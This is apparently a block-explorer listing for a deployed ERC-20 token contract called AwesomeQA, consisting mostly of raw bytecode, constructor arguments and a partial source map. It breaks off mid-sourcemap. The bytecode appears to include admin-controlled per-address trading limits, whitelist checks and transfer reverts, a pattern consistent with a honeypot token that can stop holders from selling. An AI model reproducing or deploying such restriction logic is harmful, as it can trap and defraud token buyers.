b610ba6565b60405161042e9190612201565b60405180910390f35b61043f610c10565b60405161044c91906120dc565b60405180910390f35b61046f600480360381019061046a91906121a6565b610ca2565b60405161047c9190612201565b60405180910390f35b61049f600480360381019061049a91906121a6565b610d8d565b6040516104ac9190612201565b60405180910390f35b6104cf60048036038101906104ca91906124b7565b610dab565b005b6104eb60048036038101906104e6919061252e565b610dcf565b005b6105076004803603810190610502919061255b565b610e3f565b60405161051491906123f0565b60405180910390f35b610537600480360381019061053291906124b7565b610ec6565b60405161054491906123f0565b60405180910390f35b6105676004803603810190610562919061259b565b610f40565b005b606060078054610578906125f7565b80601f01602080910402602001604051908101604052809291908181526020018280546105a4906125f7565b80156105f15780601f106105c6576101008083540402835291602001916105f1565b820191906000526020600020905b8154815290600101906020018083116105d457829003601f168201915b5050505050905090565b600061060f610608610f60565b8484610f68565b6001905092915050565b6000801b61062e81610629610f60565b611131565b60008061063a846111ce565b80925081935050506000151581151503610689576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106809061269a565b60405180910390fd5b60008211156106dc576106d77f5452414445520000000000000000000000000000000000000000000000000000866106d2670de0b6b3a7640000866112e990919063ffffffff16565b6112ff565b610709565b6107087f54524144455200000000000000000000000000000000000000000000000000008660006112ff565b5b5050505050565b7f545241444552000000000000000000000000000000000000000000000000000081565b6000600654905090565b600061074b84848461135e565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610796610f60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d9061272c565b60405180910390fd5b61082a85610822610f60565b858403610f68565b60019150509392505050565b6000806000838152602001908152602001600020600101549050919050565b6000801b81565b6000801b6108718161086c610f60565b611131565b61087b838361160c565b505050565b60006012905090565b60008060001b6108a08161089b610f60565b611131565b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b81526004016108db92919061275b565b6020604051808303816000875af11580156108fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091e91906127b0565b91505092915050565b6000801b61093c81610937610f60565b611131565b610944610f60565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146109b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a89061284f565b60405180910390fd5b6109bb83836116ec565b505050565b6000610a626109cd610f60565b8484600560006109db610f60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a5d919061289e565b610f68565b6001905092915050565b6000610ade670de0b6b3a764000060008086815260200190815260200160002060020160010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b905092915050565b6000801b610afb81610af6610f60565b611131565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60035481565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060088054610c1f906125f7565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4b906125f7565b8015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b5050505050905090565b60008060056000610cb1610f60565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6590612944565b60405180910390fd5b610d82610d79610f60565b85858403610f68565b600191505092915050565b6000610da1610d9a610f60565b848461135e565b6001905092915050565b6000801b610dc081610dbb610f60565b611131565b610dca83836116ec565b505050565b6000801b610de481610ddf610f60565b611131565b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610f38670de0b6b3a764000060008086815260200190815260200160002060020160000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cd90919063ffffffff16565b905092915050565b6000801b610f5581610f50610f60565b611131565b816003819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fce906129d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d90612a68565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161112491906123f0565b60405180910390a3505050565b61113b8282610ba6565b6111ca576111608173ffffffffffffffffffffffffffffffffffffffff1660146117e3565b61116e8360001c60206117e3565b60405160200161117f929190612b5c565b6040516020818303038152906040526040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c191906120dc565b60405180910390fd5b5050565b60008060005b83518110156112db57600060308583815181106111f4576111f3612b96565b5b602001015160f81c60f81b60f81c61120c9190612bc5565b60ff16108061124a57506009603085838151811061122d5761122c612b96565b5b602001015160f81c60f81b60f81c6112459190612bc5565b60ff16115b1561125c5760008092509250506112e4565b600181855161126b9190612bfa565b6112759190612bfa565b600a6112819190612d61565b603085838151811061129657611295612b96565b5b602001015160f81c60f81b60f81c6112ae9190612bc5565b60ff166112bb9190612dac565b836112c6919061289e565b925080806112d390612dee565b9150506111d4565b50816001915091505b915091565b600081836112f79190612dac565b905092915050565b8060008085815260200190815260200160002060020160000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c490612ea8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143390612f3a565b60405180910390fd5b6114687f5452414445520000000000000000000000000000000000000000000000000000848484611a1f565b611473838383611c0b565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f190612fcc565b60405180910390fd5b818103600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461158f919061289e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115f391906123f0565b60405180910390a3611606848484611c10565b50505050565b6116168282610ba6565b6116e857600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061168d610f60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6116f68282610ba6565b156117c957600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061176e610f60565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600081836117db919061301b565b905092915050565b6060600060028360026117f69190612dac565b611800919061289e565b67ffffffffffffffff81111561181957611818612226565b5b6040519080825280601f01601f19166020018201604052801561184b5781602001600182028036833780820191505090505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061188357611882612b96565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106118e7576118e6612b96565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026119279190612dac565b611931919061289e565b90505b60018111156119d1577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061197357611972612b96565b5b1a60f81b82828151811061198a57611989612b96565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806119ca9061304c565b9050611934565b5060008414611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c906130c1565b60405180910390fd5b8091505092915050565b60001515600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611afa57611aa17f54524144455200000000000000000000000000000000000000000000000000008461160c565b6001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60001515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611bd557611b7c7f54524144455200000000000000000000000000000000000000000000000000008361160c565b6001600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b611be184848484611c15565b6000611bed8585611ce9565b90506000811115611c0457611c03858584611d49565b5b5050505050565b505050565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c7557611c748382611e12565b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cd457506032600354145b15611ce357611ce282611eb4565b5b50505050565b600080600084815260200190815260200160002060020160000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000611d558484611ce9565b90506000811115611e0c576000611d7e83611d708787611f54565b611fb490919063ffffffff16565b9050600083118015611d905750818110155b15611dfe577f54524144455200000000000000000000000000000000000000000000000000008503611df957836040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611df091906130e1565b60405180910390fd5b611e0a565b611e09858583611fca565b5b505b50505050565b600081118015611e2457506063600354115b15611eb0576000611e6782611e597f545241444552000000000000000000000000000000000000000000000000000086611ce9565b6117cd90919063ffffffff16565b905060008111611eae57826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611ea591906130e1565b60405180910390fd5b505b5050565b611ebd81612029565b15611f5157600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f5057806040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611f4791906130e1565b60405180910390fd5b5b50565b600080600084815260200190815260200160002060020160010160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183611fc2919061289e565b905092915050565b8060008085815260200190815260200160002060020160010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208657808201518184015260208101905061206b565b60008484015250505050565b6000601f19601f8301169050919050565b60006120ae8261204c565b6120b88185612057565b93506120c8818560208601612068565b6120d181612092565b840191505092915050565b600060208201905081810360008301526120f681846120a3565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061213d82612112565b9050919050565b61214d81612132565b811461215857600080fd5b50565b60008135905061216a81612144565b92915050565b6000819050919050565b61218381612170565b811461218e57600080fd5b50565b6000813590506121a08161217a565b92915050565b600080604083850312156121bd576121bc612108565b5b60006121cb8582860161215b565b92505060206121dc85828601612191565b9150509250929050565b60008115159050919050565b6121fb816121e6565b82525050565b600060208201905061221660008301846121f2565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61225e82612092565b810181811067ffffffffffffffff8211171561227d5761227c612226565b5b80604052505050565b60006122906120fe565b905061229c8282612255565b919050565b600067ffffffffffffffff8211156122bc576122bb612226565b5b6122c582612092565b9050602081019050919050565b82818337600083830152505050565b60006122f46122ef846122a1565b612286565b9050828152602081018484840111156123105761230f612221565b5b61231b8482856122d2565b509392505050565b600082601f8301126123385761233761221c565b5b81356123488482602086016122e1565b91505092915050565b6000806040838503121561236857612367612108565b5b60006123768582860161215b565b925050602083013567ffffffffffffffff8111156123975761239661210d565b5b6123a385828601612323565b9150509250929050565b6000819050919050565b6123c0816123ad565b82525050565b60006020820190506123db60008301846123b7565b92915050565b6123ea81612170565b82525050565b600060208201905061240560008301846123e1565b92915050565b60008060006060848603121561242457612423612108565b5b60006124328682870161215b565b93505060206124438682870161215b565b925050604061245486828701612191565b9150509250925092565b612467816123ad565b811461247257600080fd5b50565b6000813590506124848161245e565b92915050565b6000602082840312156124a05761249f612108565b5b60006124ae84828501612475565b91505092915050565b600080604083850312156124ce576124cd612108565b5b60006124dc85828601612475565b92505060206124ed8582860161215b565b9150509250929050565b600060ff82169050919050565b61250d816124f7565b82525050565b60006020820190506125286000830184612504565b92915050565b60006020828403121561254457612543612108565b5b60006125528482850161215b565b91505092915050565b6000806040838503121561257257612571612108565b5b60006125808582860161215b565b92505060206125918582860161215b565b9150509250929050565b6000602082840312156125b1576125b0612108565b5b60006125bf84828501612191565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061260f57607f821691505b602082108103612622576126216125c8565b5b50919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d60008201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b6000612684602383612057565b915061268f82612628565b604082019050919050565b600060208201905081810360008301526126b381612677565b9050919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000612716602583612057565b9150612721826126ba565b604082019050919050565b6000602082019050818103600083015261274581612709565b9050919050565b61275581612132565b82525050565b6000604082019050612770600083018561274c565b61277d60208301846123e1565b9392505050565b61278d816121e6565b811461279857600080fd5b50565b6000815190506127aa81612784565b92915050565b6000602082840312156127c6576127c5612108565b5b60006127d48482850161279b565b91505092915050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612839602f83612057565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128a982612170565b91506128b483612170565b92508282019050808211156128cc576128cb61286f565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061292e602583612057565b9150612939826128d2565b604082019050919050565b6000602082019050818103600083015261295d81612921565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006129c0602483612057565b91506129cb82612964565b604082019050919050565b600060208201905081810360008301526129ef816129b3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a52602283612057565b9150612a5d826129f6565b604082019050919050565b60006020820190508181036000830152612a8181612a45565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b6000612ac9601783612a88565b9150612ad482612a93565b601782019050919050565b6000612aea8261204c565b612af48185612a88565b9350612b04818560208601612068565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b6000612b46601183612a88565b9150612b5182612b10565b601182019050919050565b6000612b6782612abc565b9150612b738285612adf565b9150612b7e82612b39565b9150612b8a8284612adf565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612bd0826124f7565b9150612bdb836124f7565b9250828203905060ff811115612bf457612bf361286f565b5b92915050565b6000612c0582612170565b9150612c1083612170565b9250828203905081811115612c2857612c2761286f565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612c8557808604811115612c6157612c6061286f565b5b6001851615612c705780820291505b8081029050612c7e85612c2e565b9450612c45565b94509492505050565b600082612c9e5760019050612d5a565b81612cac5760009050612d5a565b8160018114612cc25760028114612ccc57612cfb565b6001915050612d5a565b60ff841115612cde57612cdd61286f565b5b8360020a915084821115612cf557612cf461286f565b5b50612d5a565b5060208310610133831016604e8410600b8410161715612d305782820a905083811115612d2b57612d2a61286f565b5b612d5a565b612d3d8484846001612c3b565b92509050818404811115612d5457612d5361286f565b5b81810290505b9392505050565b6000612d6c82612170565b9150612d7783612170565b9250612da47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c8e565b905092915050565b6000612db782612170565b9150612dc283612170565b9250828202612dd081612170565b91508282048414831517612de757612de661286f565b5b5092915050565b6000612df982612170565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e2b57612e2a61286f565b5b600182019050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e92602583612057565b9150612e9d82612e36565b604082019050919050565b60006020820190508181036000830152612ec181612e85565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f24602383612057565b9150612f2f82612ec8565b604082019050919050565b60006020820190508181036000830152612f5381612f17565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000612fb6602383612057565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061302682612170565b915061303183612170565b92508261304157613040612fec565b5b828204905092915050565b600061305782612170565b91506000820361306a5761306961286f565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b60006130ab602083612057565b91506130b682613075565b602082019050919050565b600060208201905081810360008301526130da8161309e565b9050919050565b60006020820190506130f6600083018461274c565b9291505056fea2646970667358221220d5a6a061b2efc68e1430c74cbae963ea248bbd313fb5b52d4c444317ba727a4364736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000800000000000000000000000004263e6e1f3a16f70079d4e5ac5a466e901125eb500000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000009417765736f6d655141000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044157514100000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): AwesomeQA
Arg [1] : _tokenOwner (address): 0x4263e6e1f3A16F70079d4E5AC5A466E901125eb5
Arg [2] : _symbol (string): AWQA
Arg [3] : _totalSupply (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 0000000000000000000000004263e6e1f3a16f70079d4e5ac5a466e901125eb5
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 417765736f6d6551410000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4157514100000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

28843:917:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23450:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24418:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16870:472;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15989:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23771:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24614:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19991:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15945:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20122:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23670:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29546:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20408:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25136:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19798:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19122:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23887:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16080:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16218:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23558:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25434:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24032:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20264:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19006:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24234:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19607:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17352:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23450:100;23504:13;23537:5;23530:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23450:100;:::o;24418:188::-;24523:4;24540:36;24549:12;:10;:12::i;:::-;24563:7;24572:3;24540:8;:36::i;:::-;24594:4;24587:11;;24418:188;;;;:::o;16870:472::-;15977:4;16965:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;16983:16:::1;17010:8:::0;17047:22:::1;17065:3;17047:17;:22::i;:::-;17029:40;;;;;;;;17091:5;17084:12;;:3;:12;;::::0;17080:90:::1;;17113:45;;;;;;;;;;:::i;:::-;;;;;;;;17080:90;17204:1;17193:8;:12;17190:145;;;17221:44;16022:17;17241:4;17246:18;17259:4;17246:8;:12;;:18;;;;:::i;:::-;17221:12;:44::i;:::-;17190:145;;;17296:27;16022:17;17316:4;17321:1;17296:12;:27::i;:::-;17190:145;16972:370;;16870:472:::0;;;:::o;15989:50::-;16022:17;15989:50;:::o;23771:108::-;23832:7;23859:12;;23852:19;;23771:108;:::o;24614:514::-;24751:4;24768:33;24778:6;24786:9;24797:3;24768:9;:33::i;:::-;24814:24;24841:11;:19;24853:6;24841:19;;;;;;;;;;;;;;;:33;24861:12;:10;:12::i;:::-;24841:33;;;;;;;;;;;;;;;;24814:60;;24927:3;24907:16;:23;;24885:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;25031:54;25040:6;25048:12;:10;:12::i;:::-;25081:3;25062:16;:22;25031:8;:54::i;:::-;25116:4;25109:11;;;24614:514;;;;;:::o;19991:123::-;20057:7;20084:6;:12;20091:4;20084:12;;;;;;;;;;;:22;;;20077:29;;19991:123;;;:::o;15945:36::-;15977:4;15945:36;;;:::o;20122:134::-;15977:4;20205:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;20223:25:::1;20234:4;20240:7;20223:10;:25::i;:::-;20122:134:::0;;;:::o;23670:93::-;23728:5;23753:2;23746:9;;23670:93;:::o;29546:205::-;29662:12;15977:4;29646:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;29701:12:::1;29694:29;;;29724:10;29736:6;29694:49;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29687:56;;29546:205:::0;;;;;:::o;20408:234::-;15977:4;20494:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;20531:12:::1;:10;:12::i;:::-;20520:23;;:7;:23;;;20512:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;20608:26;20620:4;20626:7;20608:11;:26::i;:::-;20408:234:::0;;;:::o;25136:290::-;25249:4;25266:130;25289:12;:10;:12::i;:::-;25316:7;25375:10;25338:11;:25;25350:12;:10;:12::i;:::-;25338:25;;;;;;;;;;;;;;;:34;25364:7;25338:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;25266:8;:130::i;:::-;25414:4;25407:11;;25136:290;;;;:::o;19798:183::-;19907:7;19934:39;19968:4;19934:6;:12;19941:4;19934:12;;;;;;;;;;;:17;;:20;;:29;19955:7;19934:29;;;;;;;;;;;;;;;;:33;;:39;;;;:::i;:::-;19927:46;;19798:183;;;;:::o;19122:109::-;15977:4;19175:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;19218:5:::1;19193:13;:22;19207:7;19193:22;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;19122:109:::0;;:::o;23887:137::-;23974:7;24001:9;:15;24011:4;24001:15;;;;;;;;;;;;;;;;23994:22;;23887:137;;;:::o;16080:22::-;;;;:::o;16218:139::-;16296:4;16320:6;:12;16327:4;16320:12;;;;;;;;;;;:20;;:29;16341:7;16320:29;;;;;;;;;;;;;;;;;;;;;;;;;16313:36;;16218:139;;;;:::o;23558:104::-;23614:13;23647:7;23640:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23558:104;:::o;25434:475::-;25552:4;25569:24;25596:11;:25;25608:12;:10;:12::i;:::-;25596:25;;;;;;;;;;;;;;;:34;25622:7;25596:34;;;;;;;;;;;;;;;;25569:61;;25683:15;25663:16;:35;;25641:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;25799:67;25808:12;:10;:12::i;:::-;25822:7;25850:15;25831:16;:34;25799:8;:67::i;:::-;25897:4;25890:11;;;25434:475;;;;:::o;24032:194::-;24140:4;24157:39;24167:12;:10;:12::i;:::-;24181:9;24192:3;24157:9;:39::i;:::-;24214:4;24207:11;;24032:194;;;;:::o;20264:136::-;15977:4;20348:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;20366:26:::1;20378:4;20384:7;20366:11;:26::i;:::-;20264:136:::0;;;:::o;19006:108::-;15977:4;19059:5;;16160:30;16171:4;16177:12;:10;:12::i;:::-;16160:10;:30::i;:::-;19102:4:::1;19077:13:::0;:22:::1;19091:7;19077:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;19006:108:::0;;:::o;24234:176::-;24348:7;24375:11;:18;24387:5;24375:18;;;;;;;;;;;;;;;:27;24394:7;24375:27;;;;;;;;;;;;;;;;24368:34;;24234:176;;;;:::o;19607:183::-;19716:7;19743:39;19777:4;19743: